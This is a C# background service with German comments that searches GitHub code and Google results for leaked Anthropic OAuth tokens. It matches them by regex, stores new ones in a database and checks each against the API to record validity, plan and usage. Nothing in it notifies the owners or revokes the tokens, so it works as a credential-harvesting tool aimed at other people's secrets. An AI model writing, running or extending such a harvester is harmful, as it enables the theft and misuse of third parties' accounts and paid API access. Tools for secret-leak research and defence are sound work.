using System; using System.Collections.Generic; using System.Linq; using System.Net.Http; using System.Net.Http.Headers; using System.Text; using System.Text.Json; using System.Text.RegularExpressions; using System.Threading; using System.Threading.Tasks; using Gott.Models; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.Hosting; using Microsoft.Extensions.Logging; namespace Gott.Services; public class KeyScannerService : BackgroundService { private readonly DatabaseService _db; private readonly IHttpClientFactory _httpFactory; private readonly ILogger _logger; private readonly string _githubToken; private readonly string _serperApiKey; private readonly int _intervalHours; // Status-Tracking private readonly object _lock = new(); private bool _isRunning; private string _lastRun; private string _lastResult; private readonly ManualResetEventSlim _triggerNow = new(false); public bool IsRunning { get { lock (_lock) return _isRunning; } } public string LastRun { get { lock (_lock) return _lastRun; } } public string LastResult { get { lock (_lock) return _lastResult; } } // ── GitHub Search Config ── private static readonly (string Pattern, string SearchTerm)[] KeyPatterns = { (@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"), }; private static readonly string[] SearchLanguages = { "Dotenv", "Text", "JavaScript", "Python", "TypeScript", "Dockerfile", "Markdown", "Jupyter Notebook", "Shell", "Java", "Go", "C++", "PHP" }; private static readonly string[] PathExtensions = { ".env", ".envrc", ".prod", ".secret", ".private", ".key", ".xml", ".json", ".properties", ".sql", ".txt", ".log", ".yml", ".yaml", ".toml", ".ini", ".config", ".conf", ".cfg", ".tmp", ".backup", ".bak", ".enc", }; private const int RateLimitDelayMs = 6_500; private const int MaxResultsPerSearch = 1000; private const int ResultsPerPage = 100; public KeyScannerService( DatabaseService db, IHttpClientFactory httpFactory, IConfiguration config, ILogger logger) { _db = db; _httpFactory = httpFactory; _logger = logger; _githubToken = config["GitHubToken"] ?? ""; _serperApiKey = config["SerperApiKey"] ?? ""; _intervalHours = config.GetValue("ScanIntervalHours", 0); } protected override async Task ExecuteAsync(CancellationToken stoppingToken) { var hasGitHub = !string.IsNullOrWhiteSpace(_githubToken); var hasSerper = !string.IsNullOrWhiteSpace(_serperApiKey); if (!hasGitHub && !hasSerper) { _logger.LogInformation("KeyScannerService deaktiviert (kein GitHubToken/SerperApiKey konfiguriert)"); // Warte trotzdem auf manuelles Trigger-Signal await WaitForTriggerOnly(stoppingToken); return; } if (_intervalHours <= 0) { _logger.LogInformation("KeyScannerService: Kein Intervall konfiguriert, nur manueller Trigger aktiv"); await WaitForTriggerOnly(stoppingToken); return; } _logger.LogInformation("KeyScannerService gestartet (Intervall: {Hours}h)", _intervalHours); while (!stoppingToken.IsCancellationRequested) { await RunScan(stoppingToken); // Warte auf Intervall oder manuelles Signal var waitResult = await WaitWithTrigger(TimeSpan.FromHours(_intervalHours), stoppingToken); if (waitResult) _logger.LogInformation("KeyScannerService: Manueller Scan angefordert"); } } /// Wartet nur auf manuelles Trigger-Signal (kein automatisches Intervall). private async Task WaitForTriggerOnly(CancellationToken stoppingToken) { while (!stoppingToken.IsCancellationRequested) { await WaitWithTrigger(Timeout.InfiniteTimeSpan, stoppingToken); if (!stoppingToken.IsCancellationRequested) await RunScan(stoppingToken); } } /// Wartet auf Timeout oder Trigger-Signal. Gibt true zurück wenn getriggert. private Task WaitWithTrigger(TimeSpan timeout, CancellationToken ct) { return Task.Run(() => { _triggerNow.Reset(); var waitHandles = new[] { _triggerNow.WaitHandle, ct.WaitHandle }; var idx = WaitHandle.WaitAny(waitHandles, timeout); return idx == 0; // true = triggered }, ct); } /// Wird vom Endpoint aufgerufen um einen sofortigen Scan auszulösen. public void TriggerScan() { _triggerNow.Set(); } private async Task RunScan(CancellationToken ct) { lock (_lock) { if (_isRunning) return; _isRunning = true; } _logger.LogInformation("KeyScannerService: Scan gestartet"); var newKeysFound = 0; var checkedCount = 0; var totalFound = 0; try { // Phase 1: Alle konfigurierten Quellen scannen var allFoundKeys = new List<(string Key, string Url, string Source)>(); if (!string.IsNullOrWhiteSpace(_githubToken)) { var ghKeys = await ScanGitHub(ct); allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github"))); _logger.LogInformation("GitHub-Scan: {Count} Key(s) gefunden", ghKeys.Count); } if (!string.IsNullOrWhiteSpace(_serperApiKey)) { var spKeys = await ScanSerper(ct); allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper"))); _logger.LogInformation("Serper-Scan: {Count} Key(s) gefunden", spKeys.Count); } totalFound = allFoundKeys.Count; // Phase 2: Neue Keys in DB speichern (dedupliziert) var seen = new HashSet(StringComparer.Ordinal); foreach (var (key, sourceUrl, source) in allFoundKeys) { if (!seen.Add(key)) continue; if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key)) continue; newKeysFound++; await _db.CreateScannedKey(new ScannedKeyRecord { ScannedKeyId = Guid.NewGuid().ToString("N"), ApiKey = key, Source = source, SourceUrl = sourceUrl, Status = "unchecked", Plan = "Unknown", ScannedAt = DateTime.UtcNow.ToString("o") }); } _logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound); // Phase 3: Alle unchecked Keys prüfen var allScanned = (await _db.GetScannedKeys()).ToList(); var toCheck = allScanned.Where(k => k.Status == "unchecked").ToList(); foreach (var sk in toCheck) { ct.ThrowIfCancellationRequested(); await CheckAndUpdateKey(sk); checkedCount++; await Task.Delay(500, ct); // Rate-Limit schonen } lock (_lock) { _lastRun = DateTime.UtcNow.ToString("o"); _lastResult = $"{totalFound} gefunden, {newKeysFound} neu, {checkedCount} geprüft"; } _logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult); } catch (OperationCanceledException) { /* shutdown */ } catch (Exception ex) { _logger.LogError(ex, "KeyScannerService: Fehler beim Scan"); lock (_lock) { _lastRun = DateTime.UtcNow.ToString("o"); _lastResult = $"Fehler: {ex.Message}"; } } finally { lock (_lock) _isRunning = false; } } // ── GitHub Code Search (portiert aus ExampleScannerProject) ── private async Task> ScanGitHub(CancellationToken ct) { var allKeys = new Dictionary(StringComparer.Ordinal); // Key → erste URL var queries = BuildSearchQueries(); var client = _httpFactory.CreateClient(); client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottKeyScanner", "1.0")); client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json")); client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken); client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28"); client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.text-match+json")); for (int i = 0; i < queries.Count; i++) { ct.ThrowIfCancellationRequested(); var (query, regex) = queries[i]; try { var results = await SearchCodeAsync(client, query, regex, ct); foreach (var (key, url) in results) if (!allKeys.ContainsKey(key)) allKeys[key] = url; } catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden) { _logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ..."); await Task.Delay(60_000, ct); try { var results = await SearchCodeAsync(client, query, regex, ct); foreach (var (key, url) in results) if (!allKeys.ContainsKey(key)) allKeys[key] = url; } catch (Exception retryEx) { _logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message); } } catch (Exception ex) { _logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message); } } return allKeys.Select(kv => (kv.Key, kv.Value)).ToList(); } private static async Task> SearchCodeAsync(HttpClient client, string query, Regex regex, CancellationToken ct) { var keys = new List<(string Key, string Url)>(); int page = 1; int maxPages = MaxResultsPerSearch / ResultsPerPage; while (page <= maxPages) { ct.ThrowIfCancellationRequested(); var url = $"https://api.github.com/search/code?q={Uri.EscapeDataString(query)}&per_page={ResultsPerPage}&page={page}"; await Task.Delay(RateLimitDelayMs, ct); var resp = await client.GetAsync(url, ct); if (resp.StatusCode == System.Net.HttpStatusCode.UnprocessableEntity) break; resp.EnsureSuccessStatusCode(); var json = await resp.Content.ReadAsStringAsync(ct); var doc = JsonDocument.Parse(json); var root = doc.RootElement; var totalCount = root.GetProperty("total_count").GetInt32(); if (!root.TryGetProperty("items", out var items)) break; foreach (var item in items.EnumerateArray()) { var htmlUrl = BuildHtmlUrl(item); if (item.TryGetProperty("text_matches", out var textMatches)) { foreach (var tm in textMatches.EnumerateArray()) { if (tm.TryGetProperty("fragment", out var frag)) { var matches = regex.Matches(frag.GetString() ?? ""); foreach (Match m in matches) keys.Add((m.Value, htmlUrl)); } } } // Kein text_match → Raw-File fetchen var hasMatches = item.TryGetProperty("text_matches", out var tm2) && tm2.EnumerateArray().Any(); if (!hasMatches) { var rawKeys = await TryFetchRawFileKeysAsync(client, item, regex, ct); foreach (var k in rawKeys) keys.Add((k, htmlUrl)); } } if (items.GetArrayLength() < ResultsPerPage || page * ResultsPerPage >= totalCount) break; page++; } return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList(); } /// Baut die GitHub HTML-URL aus einem Search-API-Item. private static string BuildHtmlUrl(JsonElement item) { if (item.TryGetProperty("html_url", out var htmlUrl)) return htmlUrl.GetString() ?? ""; // Fallback: aus repository.full_name + path zusammenbauen if (item.TryGetProperty("repository", out var repo) && repo.TryGetProperty("full_name", out var fullName) && item.TryGetProperty("path", out var path)) return $"https://github.com/{fullName.GetString()}/blob/HEAD/{path.GetString()}"; return ""; } private static async Task> TryFetchRawFileKeysAsync(HttpClient client, JsonElement item, Regex regex, CancellationToken ct) { var keys = new List(); try { if (!item.TryGetProperty("repository", out var repo) || !repo.TryGetProperty("full_name", out var fullName) || !item.TryGetProperty("path", out var path)) return keys; var contentsUrl = $"https://api.github.com/repos/{fullName.GetString()}/contents/{path.GetString()}"; var request = new HttpRequestMessage(HttpMethod.Get, contentsUrl); request.Headers.Accept.Clear(); request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.raw+json")); await Task.Delay(500, ct); var resp = await client.SendAsync(request, ct); if (!resp.IsSuccessStatusCode) return keys; var content = await resp.Content.ReadAsStringAsync(ct); var matches = regex.Matches(content); foreach (Match m in matches) keys.Add(m.Value); } catch { /* Datei nicht lesbar – ignorieren */ } return keys; } private static List<(string Query, Regex Regex)> BuildSearchQueries() { var queries = new List<(string, Regex)>(); foreach (var (pattern, searchTerm) in KeyPatterns) { var regex = new Regex(pattern, RegexOptions.Compiled); foreach (var lang in SearchLanguages) { var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}"; queries.Add(($"{searchTerm} {langFilter}", regex)); } foreach (var pathExt in PathExtensions) { queries.Add(($"{searchTerm} path:{pathExt}", regex)); } } return queries; } // ── Serper.dev Google Search ── /// /// Durchsucht Google via Serper.dev nach geleakten API-Keys. /// Jeder KeyPattern-SearchTerm wird als exakte Phrase gesucht. /// Snippets werden nach dem vollständigen Key-Pattern geparst. /// private async Task> ScanSerper(CancellationToken ct) { var allKeys = new Dictionary(StringComparer.Ordinal); var client = _httpFactory.CreateClient(); client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey); foreach (var (pattern, searchTerm) in KeyPatterns) { ct.ThrowIfCancellationRequested(); var regex = new Regex(pattern, RegexOptions.Compiled); try { // Serper erlaubt bis zu 100 Ergebnisse pro Request (num: 100) var payload = JsonSerializer.Serialize(new { q = $"\"{searchTerm}\"", num = 100 }); var request = new HttpRequestMessage(HttpMethod.Post, "https://google.serper.dev/search") { Content = new StringContent(payload, Encoding.UTF8, "application/json") }; var resp = await client.SendAsync(request, ct); resp.EnsureSuccessStatusCode(); var json = await resp.Content.ReadAsStringAsync(ct); var doc = JsonDocument.Parse(json); // Organic results durchsuchen if (doc.RootElement.TryGetProperty("organic", out var organic)) { foreach (var item in organic.EnumerateArray()) { var link = item.TryGetProperty("link", out var l) ? l.GetString() ?? "" : ""; var snippet = item.TryGetProperty("snippet", out var s) ? s.GetString() ?? "" : ""; var title = item.TryGetProperty("title", out var t) ? t.GetString() ?? "" : ""; // Keys aus Snippet und Title extrahieren var text = snippet + " " + title; var matches = regex.Matches(text); foreach (Match m in matches) if (!allKeys.ContainsKey(m.Value)) allKeys[m.Value] = link; } } _logger.LogInformation("Serper-Suche für '{Term}': {Count} Ergebnis(se)", searchTerm, allKeys.Count); await Task.Delay(1000, ct); // Rate-Limit schonen } catch (Exception ex) { _logger.LogWarning("Serper-Suche fehlgeschlagen für '{Term}': {Msg}", searchTerm, ex.Message); } } return allKeys.Select(kv => (kv.Key, kv.Value)).ToList(); } // ── Anthropic Key Check (via shared AnthropicKeyChecker) ── public async Task CheckAndUpdateKey(ScannedKeyRecord sk) { try { var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); } catch (Exception ex) { _logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message); await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null); } } }